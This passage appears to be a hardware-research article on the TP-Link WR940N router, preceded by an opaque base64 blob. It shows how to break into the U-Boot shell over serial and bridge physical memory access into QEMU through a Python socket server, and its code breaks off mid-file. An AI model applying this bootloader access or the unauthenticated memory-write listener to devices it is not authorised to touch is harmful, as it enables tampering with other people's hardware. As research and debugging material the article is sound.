jfhGQ76MKbCKRVxY4lBMAsp/wKQvIyB8IuKUvhCioPJuiFpabCZoZVZUX9FTRJ2xE75ThzE5jQb hJE/RSxbZKo3yvTYZmuPw+hTY1CCPH0Rvrj/u8j0oMX0DGKsCY0HCyuPPdlGiUrsRkyjKFeYwUL PU8V5YT3cKwiGblVE0x58+wzjfLnIPE/pq0q8M3YhFr+eBP0LlHAUh4uhgKBg3sdehts9Sm63Is mwZUeZ9NsDRvyXColrpm55HI2DWEYSVwz6RNMY5mJirEDgIugRYNcN92PAGO2HK9+hY2ysUMgcA wQFMG/TpK6qww+0E65xzyLPGaMm/EEE0Ww9m/9DSOB1ROTsyr9vC4UjpUYjxdgteFkR+Fz0ENm0 QTKY787r4/zi45osVhu5tFGjdFdKWRRQlnJCNrgLWxb/jQJtqYTyGSGyhCNcQu3/XAucwQg/R6i tI2SZ59++lkkT3Ovu9Rac4mhaM1GAWmxdIyiM+HGvOIzwscU+SnXEQO0HD/0KCU9IER5zJiQDQp UATWYNtQ3coThW6aF3o0j/1SiRuWJKSSyiTzTCaeQw1yIaWu0kEP4EZEuNfbakqho1kOfvmxsba Br7yt21K/h7VUQBNUiYi4Ffwe+u1Im1HZLQdOF+O7io21jVRIZOy4OhGcw8qjmj0zeOYPYKRHr3 IjN1smAQLpRoYVRbHCh1FELIF+8goeJGl6bPgNMXVFxGsOqu+bJ3fT8gEurpJ8hTkkGscyBRjVO vg0vawaDBYzK91GHENU7AKj5mSBEzRKLrPQ8pZvbrZKjKlhaZiS6fdegCfsUB1s97iigqmO5Du9 cS5GABr1Y+pHVpsHh3gLjJxre29UnK+o8deLSWiBhaxa+l60QTxzWnhA1sW4yozAia0CQzNvVOi DMOg1xL12j0NLpPYG38G5loqz5IC2d8o6NLtNuPOrRbWdSg8mwSai8XgZDwRowehvL5JRnQ1AYK H815U58BYn7pGqTMPB1Mm31h/aFr7h9mloC6U/a6tqz9wMPfRSwuvrlnhLRManbMSM97coMhZtd ZC7KvcVV4S3mDSmk6qMCw8NSCQBIAIRcnBWDSZeSq63lJLWPKgoJbVerJxGJSgur7ilFypVQrOl kqAYQxhj0P7FoBYW2vlxPQDEqFZm9ym5m7DLzXpRhwaBQpW16HbTi05HWC9cWXCJSBwXaZV2NqC 7qfSV6qosu3FkxllV2pTS6+1+DjhANjy1gEMuPMN9mLn44pdH4nxuaDwYjI+tqk4UGwDreONwpR Rg2pICujHC/3jpf7xc0siGRPUpcpdtUZ8Dv6lgT797cPKzu4vluvJNLSE9mMUZRJ16OVlIK4LxH XssE6tSGpFFuzJaRPrQbYJfs5Xnb7oTip0T6gAEQ6psHSHJYwGhZBt8Am+Yu78hhSwOV+isbf/5 uNbDEUDzCaP9E+V2h3bV1gpB30Ro1Pn1OY0z9kWhMgAx/d+Z/cAAO1iNDWFJuFMR2LS8T2P1c4J XrWA4dnZd5XvYaAosybMqb3fAqpmqpOAnCGJcMhJgtCkDekt0wak14bXHcXlY5je/OIqEjm8rRG vepwpkqDtFj7RWLAiD0E69s8SMxDh07WZZJbNaWiaisYQkqWMyXl7y1OfkFtUgYk8JKIIObic/t QM7lg5d4Fq+JhZH2YXDygljyWEkWS7WUxFsrXpuzHlrMfVEVZCMSDhFG/59aJ694lujSyqA14o8 G6+4YVbRbUXfAm7QU7se7Gqs0qLYrtGZkHh4U++bbQy4r4aNWrI+jzY0Firo+WTKo8LFbCspg9b Aq5G4BbhgxYJXne66bM3hhOVEmsto3rEXL5eU+abYNAFTUbWl1bqubKjQ2HpcIWT1CgcEg50CUG YS2JWz7QC17JjufeQZMFozelJBzaPl8wHLQZTdrXwQjdnmSlBVA0KJWOpfgtCIfdXVk2YJDLn78 ilTE6XKZA0I3kcXg4x/ntnSLHgg95NVM558zQV7+cK+QqLa5pMz43+mmoky64+oe07KTbxg2gyv eit6NzY6c4bgDMrvitXrCvFZQAAhelOr7lZckp0gX3rAMauwVoj0EXjLOX1RASSBF9OMnAMoMtt yw1ETycq7yMk0D1xMAQbZvTWHbJknyzzbSMuHw4vRu6NiomFmltIBZk2248X7Fr2H0vNKSyyt/E kohHn44LdcDIDZ2scOGslW+xtK7P2FGrFV+8qzpZCkgbuYboZj205XG/GdoKXr5F7Zd8EN8YR4l 0IY9IH1hPpz92NXmbsRrNRC0k5uffjKAgiafAP0jc3NDbdfUQmv64LMZ5/8MZGkrmdw0Cwz4HdU 6qyp8iz6OxeL5KfqI2yrN6xt7TZmbQo4fLWXARK8uG0LMECQInCHUoULm+niolnb0W7iTsYNBnq Q+u0xN7GmqYqtQxZtjpnRkRxaDGxnnEN4YI+kh+FGG4mdRehQ8KxVySL4HVtxRESzz65zHWHhTT ULYfB6ngDuu5sFNRuI9JwIy172+k05UeK0rGCS1/OkiQ0CdJnjorcpfmErV5Ad9nfgapnEBPnZk w9Zlb0GmvHMlfG+vkm7F6hn+y4czFx71nSUQ+0va7coGiBOLcnShYrFWFpAOn87OnZCjTcM7WXv BdPji8uYnN3LiXj2Y8PHPqbTt7jU2Uy+TT47EIR2MRCxjfXydyJdEqO4uCmN+JGej3SXFSmnx4c cr/GZ1cLuvLLZlDd7QPGjoxe+BL6spZ04Fo5pQq1sYtUD+l71ACdzs3BdF22CTNYVwmAmIhn6KK IO9xKMR0r/Bu8sBc7Zls4fHcklWyQ/2pTv27S5wYKMbqjganqsKGTmruEgKc4IHVpPOPknrmhlc fpj2rtBd2+BP9VH4rI3TYGgOh4m3ow1rIQt7EAWwaHzcJsMr4bX0mpLDPPS3RFTda0AOuJ+1etr a1vFJX3pHP/9oFzo3MiVvYJ+IzRLXr0V2oyytDy8ik6PlBQsSNsxMForFciai4AkWHbJu53xBhJ G3gwDuEk8T/BG3J/wK11FLEblslm8mg3aXQwAVqgoaOTMrZMHYR3gICXk76kPLi0MA2OWhnnoVU ouqSbeFD9TGaJ3QwJ9zSCFmuAhrQIyUmRSk5+cz/hCJxQc5le2AG9O+ppJ6fkMGm5pC1f1DNNvc Alr5d/0Sk52h1FaAwZRpQNwXr1cOl8EhRiSaGcX3aQpkBz/FVQYA06QPAtlyCgde0H8jgw3bsCJ 6GmCPVtJCFPSDRRnicdLgNio0ATa/ZIoI3OzlLeKh60SQjvZjur1Nfp4MrACMnlNuWs3Ov1l05u wn/JjUhF77hTdVTk4pcH4mWLPWu9xJ8xEduZzyI/MjPcdxG3kfpTpqusx6qgVpT3odG5xwskHlE yeE2pVurVWosQhHxNoKVEsQzBR0TRaODEI3BXLuRwV4HkcpOKpNNM5nAlw5zD7K46h7e6VlSV4h 8kt9t6Kl8CcHIjnlkA3mq6Fr1NZ3QpVWidu+Bv1umaqhUBnsw4Ezh33J05aZKbVPTYq8jlrHC6L CcFNJdYI1q6TJ/O7/ECifDiXnvCWK6KL92NlGUCClQKRdpA5Y1ipUf4kOAhilqwbhUnwWc5ThAT wVhHkIoqcpyv2BOCLaH5dBd7uc+isrtgvLcVxPKeg6+zEULDSy2sdNIKIoveqOeG6q++dBJBlYG aAZV9wmxbzfL0X6n35HVGY/hfwXikjME47q/adV3CMFNombm6klre6STqSmX+oUkBTKVpiBw8cX QxQbbVdEY5vbA7h2hluBZ/i1J+wgp2wby1iA9HsGhxZrkdzjBnr+YdJa5JOnZipoMvmNWV6zVfz tiZ/BUuV2rT7bSUt8Ro8zzGBbvao4vxaL8aoMTpnuzh6Azl47s4II/ciAfikUCyKEJzfQG121R3 KsgkoCyHnUvU8E6dEn8G0KEQl4DMgbMaEmNAe5bA/u7LTVqgQ/OlehiYC8/1J22Uqht7bihjQUg fUjvplTh4IprgQHJ8EChRQN1j7RUykorYybNavcX+VVBwxRRMdVZ6iiXqtVah4JpNEVw4xVezAE GBSqugtrbUS9ZpoqTg5np7G9qrTY6wyGuVxz/b2woPhCv8hhrmC3g8menftYbQDh+MZsOZud0po 2lGWbyiUitZxngKOI+xmXvsXVdj0pA7QAqlKn6A4ap9xSR4iBrW9Wz8WSM7bTRdzLQDlzlYLirN M3B/7chl1+Yg/zfVZcs7c6QNDS3sn2rTUMcBkGqPg1F/xsSzhVI4zHeK6pzvesIoPmyD0kHbBvd 823FBnZvytDZ2hj2+htyhgXiEQLVKWvPmKxfw3+9hNu/phkz01QzL+bLaZct5aAcGV8RLx/kOdY dy6OaT3siHfZC4Qi5O8hJwCL/th90+HCXvVXgNTO4kdbegMTHHOAgiMI1l1HgoyRpeQjjrMZrHS P4qcV3qwmPW77lM8XpKup4tXOcYRna81EXQgY4Z23hj83/1PBUPaCE5Cixm5zvZrQqF7OUdA5Kk USjn53vT9RSUwqgkMX3rwIIsFtjmco6S17RssIgRYycnRuuA3EWh5aAYiCVjGbn8Ei+2nrcMUCy VuEM0fZWlrNL+I1WRCaKz3KbHfk6snF8S7hWTO4qHPPyu4ZAPjB+FdGdKLxLL5xe8PWByBxPzvK xIwqZj1dkGy8oS6ourxpo7u23x3DR8n4yFh78M2+dbV969jbJyHlsB86wsMx+yxLwpeQQ+7BaAn +EETwQTNBvohbFd0t9/9LzBe8j98C2PuWdV32qKQRDKl6NvAjblQVXo5vo6/q2+2Ki4f+VZ+6G6 Uam9eFHZWN988UOlur5e2/hBVb5nI6Y9N2gYrhT8Dcaz883+/n/0yeW+bd08Pf8/nhT+4/3E37k OxPAXGxsz8L8i+L+2vrZZA/xfe1Fb/0FtfOd2ZD7/4vifOf/vO1cBWqV+pzoeof/VWmUzQf831u DPE/3/C54f1W+jG2IytCxSO0V3Bx1kaQaDbpFsogbhOayNUi/4ovJ45A6vwwE6QgEH07kMcj9ys NJoPPoS9uCYA+zNzR2upnKfiuO6gv/b/WAQoU6uXyhDmeOh2gvOw85w9eP5zXByU4ejfG+kOtGk dMkeKrYt0JQv104zuPhB0BuNO6u7wXByfCrFe8OL2UWDQS63e7Tz4a3699ecI9fcOXm732zvnOy +w8Rn+RhaOlA3Qzyhl64VHJNgfJ7Hq3cvN9ub6/hn9blN7XTG3T4kd8bX8O/zQm6XLkPH65uPa6 p0qUqfsDWlT2wtVBLnV2iPKu21207t7Wd5562Qg25SWCKMBOxN1HmgOr3fYf0G6LATiW3naIgX2 Y/F1j73pnHQPvywe/Rxb79NMTehb6s38Xg1HHYHN70A5ySXg6bVlXsrfS7nvnnfurmFZ3kavAKM EnezoEqHz/LJuiC1q55tqdJIPfuPXK6LV7PUgW29VqULrzb1z8aCf90nk/67s/0d6niE/q9XqlW h/9XKJtH/zVpt84n+/xXPj0IH1JZDsLdzNjlFt92PXCa8aAdobpL5LcpKRfOnrMzD7LoDFi3DN7 oB5H3j+KS586FZZ8IYskAeD+dkF6P4ci/2J0ShDy9lFADkOCoYEEgOHsQqt1I87nJmdCIJh5T4d qSvGyhS/vcfT5usq5JyUO0XDFiHpPi6M+n2JZQY+qSEA8kReNcW/NgDtmoYqIPDo+b+SRu7oTbW 12pV8+X9zq/t//y4/3H/VG2uoxXM+86dE6lFwmugwICDAeRy1gqz3UY5dp79cZAWv99ptJu/NfZ

hIznZ+a3wymS5Cu7bMV/bDv+OLvKQvlYrODmoZ4/kue7ctdETByNjqfXCK6XjuN+QFbZEO889qM 9hD4OxtK87kTrd380vluFXvAigcqvLObXsTeOvp7/AcEZa/OFYqo6DXjjGkHHm3jtgFPDrOEYHe QTEEaPLpKhFz12ByU053GNGBlN45uQzl3oek9MWgsHwruMwmozGZXhdnWuMod3w+88dZLs6IMcD xt6NswaVXvFeukIO9RaGxDMe5KU3mHzdU8vdyR1HLsBgrcu9zqTT5pi0eU4p5Aej4WUBspW29dd XbvbpWV+hGwLXBgSi3xurZTRqfa30R1gxbzpx2FXnqICIdcy98ELlNUgssKKHB4uj8FK3w/WpxX tmgO04PX1lIuxoNXsXJWudczTSICdhWUBcEYAsbffbxvGWiN1kNIzz+8137Ub7sFGYVY30L4yoe xT3Y3rTX/l9g9z2O0ar+Ed6Rupct2NhVNqOxO4NO3bYaJwcN4/baAP3eIeARFOP0MbWdolajIDD /gANBRMdwsy2R2gVOmeXYLVXN8kNg5aq4mkYTkb9GFV/sJwwJqjUZrNtv/Zo6dKSA2LL+7TiIg8 1hFCNSUM7pHtdcdmO79qShHflvLINxvZoCoRIl1/S6Fc0QNCOxs7RMe6Jt2FMAcEnbjxMc1GchM m8QlPNARCgIdsDo/c74kFqrFgrzSgzCLvBkOMz3oQcToV2O3fLics52K/Gqi2Zz1pMK+R1sYCRQ t82jhZfqX82I/L0PD1Pz9Pz9Dw9T8/T8/Q8PU/P0/P0/KnP/wJ6kXXNAMgAAA==

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ 6 ‑ MMIO in the Middle ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ b1ack0wl ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑[ Table of Contents

0 ‑ Introduction

1 ‑ What sparked this research

2 ‑ Looking into Das U‑Boot

3 ‑ Initial Testing

4 ‑ Using Qemu to record MMIO transactions

5 ‑ Discoveries

6 ‑ Failed idea(s)

7 ‑ Give this a try yourself!

‑‑[ 0 ‑ Introduction

System on Chips (SoCs) are very common in embedded devices, ranging from cell phones to cheap smart devices. These chips contain many subcomponents within them such as flash memory, network chips, modems, ...etc. These subcomponents are interacted with via Memory Mapped Input Output regions (MMIO) which is a fancy way of saying "Memory Address 0x00000004 is mapped to register 'X' for component 'Y'.

The target for this article is the TP‑Link WR940N wireless router. This device has a fairly old processor in it, the "TP9343", which is actually a Qualcomm Atheros QCA956x SoC. Even though the target device in this article is outdated, the technique I am about to describe can be applied to different types of embedded devices where the bootloader can easily be changed, or has the ability to read and write to physical memory.

‑‑[ 1 ‑ What sparked this research

A while back, @hyprdude and I were doing some reconnaissance on the router. hyperdude found that the GPL tarball [1] published by TP‑Link was fully loaded, and included the modified Linux kernel and Das U‑Boot sources used on the device.

This discovery sparked an idea of creating a custom Qemu board for this particular chipset, which will help us understand the initial MMIO regions that the bootloader writes and reads to when it's first powered on (e.g. making an LED blink different colors.) A custom board will also give us the ability to debug the kernel and kernel modules, because the pins for E‑JTAG were not working.

After looking at the bootloader's source code, it was obvious why the pins were not working. The following code is executed upon startup, which disables the E‑JTAG ports on the device via multiplexing.

```

[board956x.c]

#define GPIO_FUNC 0x1804006c

/* set non‑JTag */

li t0, GPIO_FUNC

lw t1, 0(t0) li t2, (1<<1) /* we useGPIO14/GPIO15, so disable JTAG*/

or t1, t1, t2

sw t1, 0(t0)

```

By looking at the code, we can note that the MMIO address 0x1804006c is the `GPIO_FUNC` register. This register may be responsible for GPIO input multiplexing, but without a datasheet it's all just guesses from prior experiences.

Luckily, there was a datasheet posted on a Github repo [2] for the QCA9563 chip, which specifies that `bit 1` at address `0x1804006c` is for disabling JTAG. Since we have the source code that actually compiles, we can simply modify Das U‑Boot and enable JTAG. But, the goal is to achieve kernel debugging without touching the hardware, even though it should be possible to access E‑JTAG before the above ASM statements are executed.

‑‑[ 2 ‑ Looking into Das U‑Boot

While looking for more hints about the MMIO regions, I decided to analyze the modified source code for the bootloader within the GPL tarball.

If the following keywords are defined:

‑ `CONFIG_AUTOBOOT_KEYED`

‑ `CONFIG_BOOTDELAY`

‑ `CONFIG_AUTOBOOT_STOP_STR` or `CONFIG_AUTOBOOT_STOP_STR2`

Then the string defined in `CONFIG_AUTOBOOT_STOP_STR*` needs to be sent to the console before the countdown defined in CONFIG_BOOTDELAY reaches zero. (this reminds me of the game NFL Blitz where you can press in a code before the match begins)

For the WR940Nv6, the string `tpl` is defined and needs to be sent within 1 second after the `CONFIG_AUTOBOOT_PROMPT` is displayed. Doing this manually has a low success rate, but using python to spam the string `tpl` over and over again via a serial adapter has a very high success rate! This drops us into a Das U‑boot shell which gives us read and write access to physical memory via the `md` and `mw` commands. Awesome!

The code for the `md` and `mw` commands can be found in `/ap151/boot/u‑boot/common/cmd_mem.c` within the GPL tarball for the WR940Nv6.

‑‑[ 3 ‑ Initial Testing

To make sure that the newly discovered Das U‑Boot shell can actually read and write to physical memory I decided to write to address `0x18040008` which corresponds to the `GPIO_OUT` register. This address is marked as "read‑only" in the datasheet, so I looked at the Das U‑Boot code to find any hints to help me confirm this is true. Within the `led.S` file the address `0x18040008` is labeled as `GPIO_OUT` which lines up with the datasheet, but then they write the value `0xc000` to it with a comment that says that the LED will turn orange.

The value `0xc000` has bits 14 and 15 set, which could mean that GPIO output ports 14 and 15 are "ON" which turns on the LED, but why is it orange? Well, the LED is a three pin multi‑colored LED with two different colors, red (but it looks orange irl) and blue. By providing power to one of the pins, we can enable the red (orange) LED. Since this code is made to support different versions of the WR940N (which all have different LED configurations) they set both GPIO 14 and 15 to ON, but only one pin is needed to make the red LED turn on, so the red pin is connected to either GPIO pin 14 or 15. Through trial and error it was found that GPIO pin 14 on the WR940Nv6 is the red LED and pin 19 is the blue LED!

There's a statement within `led.S` that says to turn all of the "WAN" LEDs blue via `~((1<<3) | (1<<14) | (1<<4) | (1<<5) | (1<<6) | (1<<7))`, and through trial and error it was discovered that GPIO pin 19 turns on the blue LED and setting pins 14 and 19 will make the LED turn purple! Even though this test seems a bit silly, it verifies that the Das U‑boot shell can write to MMIO regions and they actually work! The following diagram shows how the test was conducted:

||====[UART (Das U‑Boot Shell)]

|| \

vv

+‑‑‑‑‑‑‑‑‑‑‑‑+ /

| |‑‑‑‑‑‑‑‑‑GPIO 14‑‑‑‑‑‑‑>| |

| | \LED /

| QCA956x | | | |

| |‑‑‑‑‑‑‑‑‑GPIO 19‑‑‑‑‑‑‑‑‑‑‑‑‑>| |

| |‑‑‑‑‑‑‑‑‑‑‑GND‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑>|

+‑‑‑‑‑‑‑‑‑‑‑‑+

After this test, I created a python script that connects to a UART serial adapter via the `serial` module and accepts commands to read or write 4 bytes of data to memory via a TCP socket. Using this approach is expected to be slow, but if this works then I can integrate all of it in C via libftdi or libusb and eliminate the need of using a socket and python. Make it work first, then make it fast later.

Code: NOTE: The code below is only part of the final MITM python script. ```

def read_from_phy_memory(ser, address):

print(f'[*] Reading from Address: 0x{address:08X}...') ser.write(bytes(f"md 0x{address:08X}1\n","UTF‑8"))

out = get_response(ser) offset = out.rfind(bytes(f'{address:08x}: ',"UTF‑8"))

value = int(b'0x' + out[offset + len(bytes(f'{address:08x}: ', "UTF‑8")):offset + len(bytes(f'{address:08x}:',"UTF‑8")) + 8], 16) logging.debug(f"READ: 0x{address:08X}:0x{value:08X}")

return value

def write_to_phy_memory(ser, address, value):

print(f'[*] Writing to Address: 0x{address:08X} with value \ 0x{value:08X}...')

logging.debug(f"WRITE: 0x{address:08X}: 0x{value:08X}") ser.write(bytes(f"mw 0x{address:04X} 0x{value:04X}\n","UTF‑8"))

def listen_and_respond(ser, port):

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

try:

s.bind(("0.0.0.0", port))

except socket.error as msg:

print('[‑] Bind failed. Error Code : ' + str(msg[0]) + \

' Message ' + msg[1])

return False

s.listen(1)

print (f'[*] Socket now listening on port {port}')

while True:

conn, addr = s.accept()

msg = conn.recv(1024)

while len(msg) > 0:

if msg == b'exit\n':

conn.send(bytes('[*] Byeeeeee\n', "UTF‑8")) conn.close()

break

if msg == b'shutdown\n':

conn.send(bytes('[*] The server is going down down\n', "UTF‑8"))

conn.close()

s.shutdown(socket.SHUT_WR)

s.close()

return

elif msg[0] == ord('r'):

# Read Bytes

addr = int(msg[1:].strip(b'\n'), 16)

out = read_from_phy_memory(ser, addr) conn.send(bytes(hex(out), "UTF‑8"))

elif msg[0] == ord('w'):

# Write Bytes

address = msg[1:].split(b" ")[0]

value = msg[1:].split(b" ")[1].strip(b'\n') write_to_phy_memory(ser, int(address, 16), int(value, 16)) conn.send(b'1')

msg = conn.recv(1024)

```

‑‑[ 4 ‑ Using Qemu to record MMIO transactions

To help speed up development, I copied the `mipssim.c` board within the `qemu/hw/mips` directory and used it as a skeleton. From there I reviewed the documentation for Qemu to learn the memory APIs. All that was needed to make a MMIO region is to first call `memory_region_init_io()` with the MemoryRegion *pointer (comes from g_new(MemoryRegion,1)), a struct that contains the `.read.`, `.write.`, callbacks populated (struct MemoryRegionOps), the name of the region for Qemu to use (e.g. "DDR"), and then the size of the region. An Object can be supplied to the second argument which is passed to the callbacks, but that isn't needed at this stage. However, it'll be needed when implementing the logic for the virtual component. Lastly a call to `memory_region_add_subregion()` needs to be called for the subregion to be applied to the main memory space (return value of get_system_memory()).

The following code Qemu snippet demonstrates registering the subregion for the GPIO registers:

```

[...]

/* MMIO Callbacks for GPIO */

// READ

static uint64_t gpio_mmio_read(void *opaque, hwaddr addr, unsigned size) {

return 0; // return 0 for all reads in the GPIO region

}

// WRITE

static void gpio_mmio_write(void *opaque, hwaddr addr,

uint64_t val, unsigned size)

{

// The addr argument is an offset within the MMIO region

// 0x44 == 0x18040044

if (addr == 0x44){ // Skip this register since this breaks MITM MMIO

return;

}

return;

}

// Struct for Callbacks + Endianness

static const MemoryRegionOps gpio_mmio_ops = {

.read = gpio_mmio_read,

.write = gpio_mmio_write,

.endianness = DEVICE_BIG_ENDIAN

};

// Get physical memory

MemoryRegion *address_space_mem = get_system_memory();

// Init GPIO region

memory_region_init_io(gpio_mmio, NULL, &gpio_mmio_ops, NULL, "GPIO_MMIO", 0x70);

// Add subregion to physical memory

memory_region_add_subregion(address_space_mem, 0x18040000LL, gpio_mmio); // Reads and writes to GPIO will trigger the callbacks during runtime.

[...]

```

With the regions mapped with callbacks, the next step is to connect Qemu to the MITM script. This can be accomplished when the virtual board is being initialized by creating a socket, saving the socket fd, connecting to the python listener, and return. Then, within the callbacks, the socket fd is used to request reads and writes to physical memory from the python listener.

This is how it's all connected:

+‑‑‑‑‑‑‑‑‑‑+ +‑‑‑‑‑‑‑‑‑‑+ +

| Qemu |<‑TCP‑>| Python |<‑UART‑>| Router |

| | | | |U‑Boot |

+‑‑‑‑‑‑‑‑‑‑+ +‑‑‑‑‑‑‑‑‑‑+ +

Note: If a datasheet could not be found for this SoC in this paper then I would register one large MMIO callback region starting at an address that crashes when an running from a found entry point. (e.g. Address: 0x18000000 Size: 0x18000000 [0x18000000‑0x30000000])

‑‑[ 5 ‑ Discoveries

The initial discovery that was already mentioned is that the datasheet and source code don't line up 100%, it's more like 90%. Besides that, it was found that the DDR region (0x18000000) is reported as 0x128 bytes in size, but there's an additional register (DDR3_CONFIG) that lives at `0x1800015C`, so there's either undocumented registers between `0x128‑0x15c` or that particular memory space is unused.

Another discovery was the region that wasn't fully documented within the datasheet, but I've labeled it as `GMAC1` which lives at `0x1A000000` with size `0x2E8` since the values written are very close to the values written to the `GMAC0` region (0x19000000).

The virtual device actually gets pretty far within the boot process, but fails during the initialization of the WiFi driver. Since we're just capturing MMIO transactions, the thing that's missing are the interrupts that need to be used when certain conditions happen for each subcomponent. (e.g. Raise an interrupt for when a certain register for a clock reaches zero during calibration.)

The GPIO address `0x18040044` is labeled `UART0_SIN Multiplexing` and the usage is to set which GPIO pins are used for UART0. During the boot process this register is written to and breaks the UART connection that used to interact with Das U‑Boot. Adding a statement to skip offset `0x44` for this region is needed to continue booting from Das U‑Boot and into Linux (virtually).

This approach allows us to utilize a component of the SoC in real life while being able to emulate all of the other subcomponents that we're not interested in. (e.g. utilize the device's Ethernet Ports + Controller, but emulate the rest of the other subcomponents)

‑‑[ 6 ‑ Failed ideas

My first idea was to use `/dev/mem` to read and write to physical memory, but attempting to write to physical memory would result in a segfault. Reading from these regions was fine, but writing as a no‑go. Plus, the OS is fully loaded with running drivers, so these regions are constantly being used. Attempting to read and write could cause unpredictable system instability, so leveraging the bootloader seemed like a better idea. No drivers, No OS, just GPIO pins :)

I then attempted to bit bang GPIO pins for E‑JTAG with an Arduino nano, but this resulted in nothing being found :(

‑‑[ 7 ‑ Give this a try yourself!

* Turn off the WR940Nv6

* Connect a serial adapter to the UART pins

* Note: There are two jumpers that need to be soldered to complete the circuit for RX/TX

* Run the script below to drop the WR940Nv6 into the Das U‑Boot shell * Turn on the Router via the button on the back of the router

* Note: If the script doesn't detect a shell within a few seconds then reboot the router and it should work

* Connect to port TCP port 1337 once the script detects a Das U‑boot shell * Send the string `w0x18040008 0x00080000` to turn the front LED blue * Send the string `w0x18040008 0x00004000` to turn off the front LED * Send `shutdown` to close the server socket and exit

* MMIO MITM Python Code:

```

import serial

import time

import socket

import logging

### CONSTS ###

GPIO_OUT = 0x18040008

logger = logging.getLogger(__name__) logging.basicConfig(filename='bootup.log', format='"%(asctime)s;%(message)s', datefmt="%H:%M:%S", filemode='w', encoding='utf‑8', level=logging.DEBUG)

def get_response(ser):

time.sleep(0.02)

out = b""

while ser.inWaiting() > 0:

out += ser.read(1)

return out

def read_from_phy_memory(ser, address):

print(f'[*] Reading from Address: 0x{address:08X}...') ser.write(bytes(f"md 0x{address:08X} 1\n","UTF‑8"))

out = get_response(ser)

offset = out.rfind(bytes(f'{address:08x}: ',"UTF‑8"))

value = int(b'0x' + out[offset + len(bytes(f'{address:08x}: ', "UTF‑8")):offset + len(bytes(f'{address:08x}: ',"UTF‑8")) + 8], 16) logging.debug(f"READ: 0x{address:08X}: 0x{value:08X}")

return value

def write_to_phy_memory(ser, address, value):

print(f'[*] Writing to Address: 0x{address:08X} with value \ 0x{value:08X}...')

logging.debug(f"WRITE: 0x{address:08X}: 0x{value:08X}") ser.write(bytes(f"mw 0x{address:04X} 0x{value:04X}\n","UTF‑8")) time.sleep(0.01)

def test_uboot_cmd_line(ser, test_string): ser.write(bytes(f"{test_string}\n","UTF‑8"))

out = get_response(ser)

if bytes(f'Unknown command \'{test_string}\'', "UTF‑8") in out: return True

def spam_tpl_for_uboot(ser, max_attempts):

while True:

ser.write(b'tpl')

out = get_response(ser)

if b"ap151>" in out:

print(f"[+] Router is now in [REDACTED] state with \ {max_attempts} attempts remaining.")

return True

max_attempts ‑= 1

if max_attempts == 0:

print("[‑] Unable to get the router into the [REDACTED] state. \ Try Rebooting...")

return False

def listen_and_respond(ser, port):

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

try:

s.bind(("0.0.0.0", port))

except socket.error as msg:

print('[‑] Bind failed. Error Code : ' + str(msg[0]) + \

' Message ' + msg[1])

return False

s.listen(1)

print (f'[*] Socket now listening on port {port}')

while True:

conn, addr = s.accept()

msg = conn.recv(1024)

while len(msg) > 0:

if msg == b'exit\n':

conn.send(bytes('[*] Byeeeeee\n', "UTF‑8")) conn.close()

break

if msg == b'shutdown\n':

conn.send(bytes('[*] The server is going down down\n', "UTF‑8"))

conn.close()

s.shutdown(socket.SHUT_WR)

s.close()

return

elif msg[0] == ord('r'):

# Read Bytes

addr = int(msg[1:].strip(b'\n'), 16)

out = read_from_phy_memory(ser, addr) conn.send(bytes(hex(out), "UTF‑8"))

elif msg[0] == ord('w'):

# Write Bytes

address = msg[1:].split(b" ")[0]

value = msg[1:].split(b" ")[1].strip(b'\n') write_to_phy_memory(ser, int(address, 16), int(value, 16)) conn.send(b'1')

msg = conn.recv(1024)

def splash():

print('[~ * ~ [WR940N MMIO MITM] ~ * ~]') print('[>>>>>>>>>>> by: b1ack0wl <<<<<<<<<<<]')

def main():

ser = serial.Serial(

port='/dev/ttyUSB1', # Note: Change this for your USB serial device baudrate=115200

)

already_open = test_uboot_cmd_line(ser, "0wl")

ser.isOpen()

if (already_open != True):

print(f'[*] Attempting to get the WR940N into the Das U‑Boot shell...') if (spam_tpl_for_uboot(ser, 5000) == False):

ser.close()

return

else:

print(f"[*] Router is already in the Das U‑boot shell :D") ser.write(b'\n\n')

listen_and_respond(ser, 1337)

if __name__ == '__main__':

splash()

main()

print('[*] ‑ Done')

```

This is the Qemu board code.

* It needs to be put in the `qemu/hw/mips` folder.

* NOTE: Only GPIO, SPI, and DDR are mapped, it is up to the reader to complete the rest

```

/*

* System emulation for the WR940N V6 board, but stripped for Phrack * by b1ack0wl <3

*/

#include "qemu/osdep.h"

#include "qapi/error.h"

#include "qemu/datadir.h"

#include "exec/address‑spaces.h"

#include "hw/clock.h"

#include "hw/mips/mips.h"

#include "net/net.h"

#include "sysemu/sysemu.h"

#include "hw/boards.h"

#include "hw/loader.h"

#include "elf.h"

#include "hw/sysbus.h"

#include "hw/qdev‑properties.h"

#include "qemu/error‑report.h"

#include "sysemu/qtest.h"

#include "sysemu/reset.h"

#include "sysemu/runstate.h"

#include "cpu.h"

#include "hw/mips/wr940n.h"

int client_fd = 0; // global lol

#define BIOS_FILENAME "u‑boot.bin"

static struct _loaderparams {

int ram_size;

const char *kernel_filename;

const char *kernel_cmdline;

const char *initrd_filename;

} loaderparams;

typedef struct ResetData {

MIPSCPU *cpu;

uint64_t vector;

} ResetData;

static uint64_t load_kernel(void)

{

uint64_t entry, kernel_high, initrd_size;

long kernel_size;

ram_addr_t initrd_offset;

